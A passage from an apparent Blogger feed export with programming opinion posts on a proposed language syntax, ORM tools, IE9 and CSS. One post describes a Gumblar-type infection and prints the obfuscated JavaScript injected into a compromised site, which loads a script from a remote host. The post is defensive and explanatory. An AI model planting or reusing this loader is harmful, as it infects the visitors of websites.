idea, proposed syntax:&lt;/span&gt;&lt;b&gt;&lt;br /&gt;--------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;use&lt;/b&gt; RTL;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;b&gt;scope&lt;/b&gt; Test &lt;b&gt;begin&lt;/b&gt;&lt;/span&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;   &lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;i&gt;//Domain with constrain&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;   &lt;b&gt;public domain&lt;/b&gt; HumanAge(&lt;b&gt;int&lt;/b&gt;)&lt;br /&gt;  {&lt;br /&gt;    &lt;b&gt;value&lt;/b&gt; &gt;= 0 &lt;b&gt;and&lt;/b&gt; &lt;b&gt;value&lt;/b&gt; &lt;= 150;    }   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;b&gt;   public static class&lt;/b&gt; Program1 &lt;b&gt;begin&lt;/b&gt;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;       &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;       &lt;b&gt;public method&lt;/b&gt; Main&lt;/span&gt;&lt;/div&gt;&lt;div&gt; &lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;       {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;           Console.WriteLine(&lt;i&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 153, 153);"&gt;"Hello Delphi days!"&lt;/span&gt;&lt;/i&gt;);&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;           Console.ReadLine();  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;           Console.WriteLine(&lt;i&gt;&lt;span class="Apple-style-span" style="color: rgb(51, 102, 102);"&gt;"About to crash"&lt;/span&gt;&lt;/i&gt;);&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;           var age: HumanAge;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;           &lt;span style="font-weight: bold;"&gt;age&lt;/span&gt; = 500; &lt;i&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;// CRASH!!!!!! Domain is constrained and did not pass validation&lt;/span&gt;&lt;/i&gt;  &lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;       }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;   &lt;b&gt;end&lt;/b&gt;;&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new',monospace;"&gt;&lt;b&gt;end&lt;/b&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-7714946489276947426?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/7714946489276947426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=7714946489276947426' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7714946489276947426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7714946489276947426'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/04/aum-syntax-samples-constrained-domains.html' title='Aum Syntax Samples: constrained domains'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-8497344661564772567</id><published>2010-03-29T21:23:00.001-05:00</published><updated>2010-03-29T21:23:27.932-05:00</updated><title type='text'>ORM Condemnation (....Continued)</title><content type='html'>&lt;div&gt;Did I tell you that I am not a fan of OR Mapping solutions at all?&lt;/div&gt;&lt;div&gt;Why?&lt;/div&gt;&lt;div&gt;Because of concept and code bloat and very little benefit (if any). I am teaching developers this way:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; Majority of &lt;b&gt;&lt;u&gt;business applications&lt;/u&gt;&lt;/b&gt; are comprised of &lt;b&gt;&lt;u&gt;3 major parts&lt;/u&gt;&lt;/b&gt;:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;a. &lt;b&gt;Master Data&lt;/b&gt; - such as dictionaries and support tables&lt;/div&gt;&lt;div&gt;b. &lt;b&gt;Normal Processing/OLTP&lt;/b&gt;  - used every day, this is what app is used for, usually real-world data is keyed on [a] and stored depending on some sort of a date/time key&lt;/div&gt; &lt;div&gt;c. &lt;b&gt;Reports&lt;/b&gt; - query transactional-accumulated(or live) data (entered in [b]) , join it with master data for descriptions and output to user&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;The fact of life is that &amp;quot;Master Data&amp;quot; tables (hundreds of them in big systems) are very dummy in the most cases, and any credible architect&lt;/div&gt; &lt;div&gt; would build interfaces/CRUD logic in a template-based way. For those templates(base classes probably) SQLs are usually very simple, the row count is mostly &amp;lt;1000 per table (not always),&lt;/div&gt;&lt;div&gt; and really there is NO BUSINESS logic needed to be applied but map SQL columns to on-screen controls (be it Forms, Web or anything else). Making developer&lt;/div&gt; &lt;div&gt; maintain a bloat of 100s of classes just to map A to A does not make much sense. What does make sense - build your general ancestor class smart enough&lt;/div&gt;&lt;div&gt; to supply tons of metadata from your back-end automatically (such as max-length, required(not null), format etc...). I don&amp;#39;t really need to map DB to object for that.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Now about [b] item - OLTP screens or entry processes(be it GUI or ETL or...who knows). Those definitely need to go through good interface in terms of classes, but again, if you have ever built &lt;/div&gt;&lt;div&gt;  &amp;quot;big&amp;quot; software that contains 100s of data-entry screens - the pattern becomes trending - you are NOT dealing with simple SQLs - now when user hits  &amp;quot;Save&amp;quot;&lt;/div&gt;&lt;div&gt; you probably touch 3-10 tables etc. I personally never user ORM for that but write classes by hand with plenty of XML comments and human methods&lt;/div&gt; &lt;div&gt; that are centered around business , not around schema. Database schema is designed for normal-forms compliance (most of the times), not class/interface&lt;/div&gt;&lt;div&gt;usability by developers. So, in a financial system, I would have &amp;quot;Portfolio&amp;quot; class and &amp;quot;Save&amp;quot; method, and maybe even &amp;quot;IStorage&amp;quot; provider that implements&lt;/div&gt; &lt;div&gt; direct SQL backing store so portfolios could save ,or maybe middle-tier store. So SQL is not the sole solution now.&lt;/div&gt;&lt;div&gt; The hand-written code makes sense though, and there is no bloat. Using LINQ to SQL would not have helped really as &amp;quot;Save&amp;quot; method for portfolios&lt;/div&gt; &lt;div&gt; touches 10s of tables due to business rules. And I don&amp;#39;t really want to have database code in C#, maybe database orchestration code I do, I&amp;#39;d rather use stored proc, or maybe some other middle tier process as an abstraction layer. So now I need to use ORM there, again, I need to write good well-though queries that don&amp;#39;t put unneeded locks etc..&lt;/div&gt; &lt;div&gt;So what benefit does LINQ to SQL/Hibernate/EF or any other tool would give in my case?  &lt;b&gt;&lt;u&gt;None. &lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Check out this link regarding Microsoft ORM technologies trending:&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://www.infoq.com/news/2008/11/DLINQ-Future"&gt;http://www.infoq.com/news/2008/11/DLINQ-Future&lt;/a&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-8497344661564772567?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/8497344661564772567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=8497344661564772567' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8497344661564772567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/8497344661564772567'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/03/orm-condemnation-continued.html' title='ORM Condemnation (....Continued)'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-3831879568843239739</id><published>2010-03-17T12:37:00.001-05:00</published><updated>2010-03-17T12:37:26.982-05:00</updated><title type='text'>IE9 - end of Flash(Silverlight)?</title><content type='html'>&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Interesting page dedicated to IE9 - Microsoft has decided to support SVG, HTML5 including hardware-backed rendering and better CSS-3 standards.&lt;/div&gt;&lt;div&gt;What is missing as of today is Canvas object model though rumor has it - Microsoft will support it,&lt;/div&gt; &lt;div&gt;consequently question arises - &lt;b&gt;if all modern browsers support&lt;/b&gt;:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;1. Consistent DOM event model&lt;/div&gt;&lt;div&gt;2. Fast JavaScript (they have made it already 7+ times faster in IE9 vs IE8)&lt;/div&gt; &lt;div&gt;3. Direct drawing capability (Canvas) with styling and prof anti-aliasing&lt;/div&gt;&lt;div&gt;4. Vector graphic support built-in: SVG/Canvas&lt;/div&gt;&lt;div&gt;5. HTML -level  audio and video tags (no player plugins)&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div&gt;,&lt;b&gt; then does Flash (and especially &lt;/b&gt;&lt;b&gt;Silverlight&lt;/b&gt;&lt;b&gt;) have any future in 5 years from now?&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;This makes perfect sense - browser becomes &amp;quot;Flash&amp;quot;, and for those who claim that JavaScript is &amp;quot;not a language&amp;quot; suitable for development&lt;/div&gt; &lt;div&gt;I recommend to re-evaluate their perceptions - Java Script is VERY powerful if you know how to organize code in &lt;/div&gt;&lt;div&gt; namespaces and use encapsulation and other OO patterns that ARE available in JS.&lt;/div&gt;&lt;div&gt;&lt;br&gt; &lt;/div&gt;&lt;div&gt;See this:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://ie.microsoft.com/testdrive/"&gt;http://ie.microsoft.com/testdrive/&lt;/a&gt;&lt;br clear="all"&gt;&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-3831879568843239739?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/3831879568843239739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=3831879568843239739' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/3831879568843239739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/3831879568843239739'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/03/ie9-end-of-flashsilverlight.html' title='IE9 - end of Flash(Silverlight)?'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-6499631565825089805</id><published>2010-01-28T17:18:00.000-05:00</published><updated>2010-01-28T17:19:02.733-05:00</updated><title type='text'>Do you know CSS?</title><content type='html'>&lt;div&gt;Before you answer,,,just check the link below first....&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://www.romancortes.com/blog/tag/css/"&gt;http://www.romancortes.com/blog/tag/css/&lt;/a&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;So do you know CSS?&lt;/div&gt;&lt;div&gt; &lt;br&gt;&lt;/div&gt;&lt;div&gt;Well it&amp;#39;s all a hack....I know.&lt;/div&gt;&lt;div&gt;But still cool!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;br&gt; &lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-6499631565825089805?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/6499631565825089805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=6499631565825089805' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6499631565825089805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6499631565825089805'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/01/do-you-know-css.html' title='Do you know CSS?'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-7421491015032187333</id><published>2010-01-27T21:20:00.001-05:00</published><updated>2010-01-27T21:20:56.712-05:00</updated><title type='text'>ORM Idiotizm</title><content type='html'>&lt;div&gt;For the over 10 past years I have been a strong critic of ORM concept. I feel that majority of people just don&amp;#39;t understand the root&lt;/div&gt;&lt;div&gt;of the problem with ORM, don&amp;#39;t understand what ORM is for, and even should it be there in the first place. I truly think that it should not,&lt;/div&gt; &lt;div&gt;the whole concept of ORM is wrong and here is why. I&amp;#39;ll be talking in very practical terms. &lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;What is ORM? ORM allows us to map relational entities (read &amp;quot;tables&amp;quot; with keys and references) into objects in your code. Sounds very cool.&lt;/div&gt; &lt;div&gt;Let me ask you a &amp;quot;stupid&amp;quot; question -  &lt;b&gt;&lt;u&gt;why do you need to have those objects in your code to begin with&lt;/u&gt;&lt;/b&gt;? Huh? No, wait, don&amp;#39;t close this page, keep on&lt;/div&gt;&lt;div&gt; reading....why? Ah...because you need to show the grid of customers then change selected customer and save it back to db.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; Ok, let&amp;#39;s start from display grid(or any kind of list, such as a treeview), so grid is object-oriented piece of software that &amp;quot;draws&amp;quot; lines on screen (or HTML)&lt;/div&gt;&lt;div&gt; that mimics a table, also it draws little string values in those &amp;quot;cells&amp;quot;, so grid needs to get some data to draw. OK, but don&amp;#39;t we have data in database? We do.&lt;/div&gt; &lt;div&gt;Can we read this data? We can. Can we read different column types? We can. Can we know what columns are in there(in database/table). Yes, we can. Can we build grid directly from database. We can.  Can we do this automatically relying on database meta-data (data about columns, sizes, requirement etc...) WE CAN.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;So, why do we need stupid POJO or POCO objects in between to draw grids? We do not. We need a &amp;quot;smart adapter&amp;quot;, - a class that is absolutely universal -&lt;/div&gt;&lt;div&gt; it takes &amp;quot;data descriptor&amp;quot; (think of DataTable,DataSet,DataRow in .NET) and build grid columns including their default width, maybe even color to indicate importance, etc..&lt;/div&gt; &lt;div&gt;This class (&amp;quot;adapter&amp;quot;) may also take custom style-rule set that will hide certain columns or make them smaller - but this is just for DISPLAY ONLY purpose.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Back in 1995 I have used client-server database and I needed to build an application with 200 data-entry screens. What I did, I created a grid-derivative that was &amp;quot;so smart&amp;quot; -&lt;/div&gt; &lt;div&gt; in 90% of cases I just wrote a select SQL - formed a dataSource and then grid showed it to me in design time (I used Delphi 1) where I dragged and colored columns to make them look pretty. Thats it!  No Line of code was written in business layer, no line of code in the grid form, just NONE. No strings to configure, and when you add columns to database - they may or may not automatically appear in the grid for corresponding table, depending on &amp;#39;AutoRebuildColumns&amp;#39; boolean property. It also worked much faster than Hibernate (that did not exist back then) because it did not create any redundant copies of data in memory(no POJO/POCO).&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Same approach for displaying detail forms: textboxes, checkmarks, radios etc...  All you need is this: allow developer to place controls on form to satisfy client&amp;#39;s particular layout requirements,&lt;/div&gt; &lt;div&gt; wire-up every data-entry control DIRECTLY to database column by name (i&amp;#39;ll explain how) and write NO BOILER PLATE CODE. If column &amp;quot;Sex&amp;quot; is required in table &amp;quot;Customer&amp;quot; then radio-button should automatically be named &amp;quot;SEX&amp;quot; and be required upon &amp;#39;Save&amp;quot;. You don&amp;#39;t need to write any validation code, any &amp;quot;Validators&amp;quot; - this is all extra work and really not needed - everything is already explicitly defined in your database schema. &lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;How to connect , say textbox directly to TABLE.COLUMN in database? Easy - you need to write some &amp;quot;framework&amp;quot; code that make your textbox &amp;quot;smart&amp;quot; by associating this data-entry field with particular column by STRING NAME, make a property &amp;quot;FieldName&amp;quot;, and then everything should be read from metadata and applied to &amp;quot;object-oriented&amp;quot; properties of a text box, such as: Readonly, MaxSize  etc...   Some properties do not exist in DB, i.e. &amp;quot;text color&amp;quot; but that can be specified by developer in concrete form.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;You feel what I am getting at here? Yes, AUTOMATIC DATABASE REFLECTION, with 100% CUSTOMIZATION ability by developer in every screen, but this is much more rare that just displaying/saving data back and forth in &amp;quot;default way&amp;quot; - without special customization.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Ok, now another part - working with &amp;quot;BUSINESS&amp;quot; objects. The truth is that in may cases you just don&amp;#39;t need a business object because you are interfacing with&lt;/div&gt;&lt;div&gt; table that has limited functionality, column and row count (think US_STATES table). For complex objects such as &amp;quot;Patient Medical Record&amp;quot; Hibernate and the like dont do you much good anyway, reason being - you need to have 100% control over SQL code/stored procedures being sent to database, and yes HQL is a language of Hibernate, but wait, why do I need it, I already know PL/SQL or t-SQL and know it well, and it has operators that Hibernate does not even dream about (think of compilation hints, things like grouping sets, CONNECT BY etc...).  So when I save &amp;#39;Patient Medical Record&amp;quot; I certainly use CRUD-like helpers but definitely not a monster like Hibernate or MS Entity framework.&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;One last thought -  when you use LINQ that you all love so much, don&amp;#39;t forget that LINQ knows nothing about your collections in terms of indexes....binary searches...&lt;/div&gt;&lt;div&gt; consequently it is all very slow linear search ..... some food for thought.... LINQ to SQL? I&amp;#39;d rather use SQL to C# (its a joke).&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Let&amp;#39;s use excavator to dig swimming pool and spoon to eat cake but not vice-versa.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; &lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Read this link below, it will open you eyes!&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;a href="http://incubator.apache.org/empire-db/empiredb/hibernate.htm"&gt;http://incubator.apache.org/empire-db/empiredb/hibernate.htm&lt;/a&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-7421491015032187333?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/7421491015032187333/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=7421491015032187333' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7421491015032187333'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/7421491015032187333'/><link rel='alternate' type='text/html' href='http://blog.itadapter.com/2010/01/orm-idiotizm.html' title='ORM Idiotizm'/><author><name>itAdapter</name><uri>http://www.blogger.com/profile/07293438971837609764</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='28' src='http://4.bp.blogspot.com/_smy9-F4TJUU/SyqxO0hwvFI/AAAAAAAAAIg/ULSDlQLgi54/S220/italenin.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3763970501036742929.post-6349134701575996792</id><published>2009-12-24T20:31:00.001-05:00</published><updated>2009-12-24T20:31:27.999-05:00</updated><title type='text'>"Gumblaroid" Virus</title><content type='html'>Yesterday my computer lab where I host 5+ workstations has been attacked by a virus which is called &amp;quot;Gumblaroid&amp;quot; as I have figured&lt;br&gt;out today. To make a long story short - I ended up resurrecting drive C from a backup. I recommend that you check your system for stability at least once a week&lt;div&gt;  and make a full image of drive C every week. Keep a history of at least few months back.&lt;br&gt;&lt;br&gt;Symptoms:&lt;br&gt;&lt;br&gt;1. You visit some site (I used FireFox) i.e. - click on a link in email or something like this&lt;br&gt;&lt;br&gt;2. In about 30-50 seconds you get &amp;quot;You &amp;lt;something&amp;gt; was installed&amp;quot; popup (regular Windows GUI), so the infection has already happened&lt;br&gt; &lt;br&gt;3. Run &amp;quot;netstat /a&amp;quot; in command prompt - you will see 100s if not more out-bound SMTP-port connections&lt;br&gt;&lt;br&gt;4. Virus links with core Windows processes so if you run &amp;quot;netstat /a /b&amp;quot; you will see things like &amp;quot;svchost.exe&amp;quot; that create this traffic -&lt;br&gt; &lt;br&gt; this is because virus has attached as a DLL into legit Windows process.&lt;br&gt;&lt;br&gt;5. Any attempt from any browser to open Google and search for anything results in a return of a blank page (zero-length HTML content) -&lt;br&gt; &lt;br&gt;virus blocks TCP/IP inbound from Google search result page (same for Yahoo). You can use other search engines like &amp;quot;Rambler.ru&amp;quot; while this happens.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;br&gt;Today I have figured out how I got it, I was served a regular page from a PHP-powered site and a piece of turd has attached itself to the tail of all JavaScripts on the WebServer. This turd has been &amp;quot;sanitized&amp;quot; and is presented below.&lt;br&gt; &lt;br&gt;This is what was served to me from malevolent site:&lt;br&gt;&lt;br&gt;&lt;span class="Apple-style-span" style="background-color: rgb(204, 255, 255);"&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;/*GNU GPL*/ try{window.onload = function(){var Kjnilav1ca = document.createElement(&amp;#39;s@@!@c@!r&amp;amp;)(i##p)&amp;amp;@t)&amp;#39;.replace(/\)|\!|&amp;amp;|\^|\$|@|\(|#/ig, &amp;#39;&amp;#39;));Kjnilav1ca.setAttribute(&amp;#39;type&amp;#39;, &amp;#39;text/javascript&amp;#39;);Kjnilav1ca.setAttribute(&amp;#39;src&amp;#39;,  &amp;#39;h(t$(!)t!p#@#(:@$/^&amp;amp;$$^/^&amp;amp;w)e))@l&amp;amp;#^)t#!!)-$d##&amp;amp;e#.@k)a#)i^x(@(@i(()^n!#^.&amp;amp;&amp;amp;c@o$m!.^)g$&amp;amp;)$a)!&amp;amp;#m!((e)(#z!$t&amp;amp;(&amp;amp;$a&amp;amp;&amp;amp;r@&amp;amp;#-$#c)$@o$m@$.^!w$@o@r&amp;amp;!l&amp;amp;@&amp;amp;d)&amp;amp;#m$(u^#s!@!i!&amp;amp;$@c)m^^(a@&amp;amp;g)^&amp;amp;a#&amp;amp;z^!(i!n#)^^e)&amp;amp;.@!^r^u$^:&amp;amp;$8!0()8#!0)!/#$@s)($o)!u(&amp;amp;t$!$)h!@^w()e@s!t!.@@&amp;amp;c)@!^)o&amp;amp;#m&amp;amp;&amp;amp;&amp;amp;$@/!)&amp;amp;s)^o@!!(u)!t^h@$w!)#!e!s&amp;amp;t(#.!@))!c$^o@)m)@@/&amp;amp;&amp;amp;g&amp;amp;#o(o)(^g)&amp;amp;l($)#)e@&amp;amp;^^^.@#c@$(o$^m@#!#/&amp;amp;d@!$i()#s(c@$^u&amp;amp;)s$^!)s^#@)).(!c#$^o#&amp;amp;!m(^$(.$h#^k#/)^1@$&amp;amp;($6!#3$.@!c@#^o)(m$&amp;amp;/(&amp;#39;.replace(/\!|\^|&amp;amp;|@|\)|#|\(|\$/ig, &amp;#39;&amp;#39;));Kjnilav1ca.setAttribute(&amp;#39;defer&amp;#39;, &amp;#39;defer&amp;#39;);Kjnilav1ca.setAttribute(&amp;#39;id&amp;#39;, &amp;#39;Z$@7&amp;amp;^q)a$(!5!&amp;amp;9#(w&amp;amp;)#7$e@l^^&amp;#39;.replace(/\)|#|\!|\^|&amp;amp;|@|\(|\$/ig, &amp;#39;&amp;#39;));document.body.appendChild(Kjnilav1ca);}} catch(e) {}&lt;/span&gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;Obviously, different sites have different mutations of the same thing as it uses Regexes to crap-up itself.&lt;br&gt;Please check this link by Daniel Ansari for info how to remove this infection:&lt;/div&gt;&lt;div&gt;&lt;br&gt; &lt;a href="http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/"&gt;http://www.danielansari.com/wordpress/2009/05/automatic-removal-of-gumblarmartuz-trojan/&lt;/a&gt;&lt;/div&gt; &lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3763970501036742929-6349134701575996792?l=blog.itadapter.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.itadapter.com/feeds/6349134701575996792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3763970501036742929&amp;postID=6349134701575996792' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6349134701575996792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3763970501036742929/posts/default/6349134701575996792'/><link rel='alternate' type='text/html' 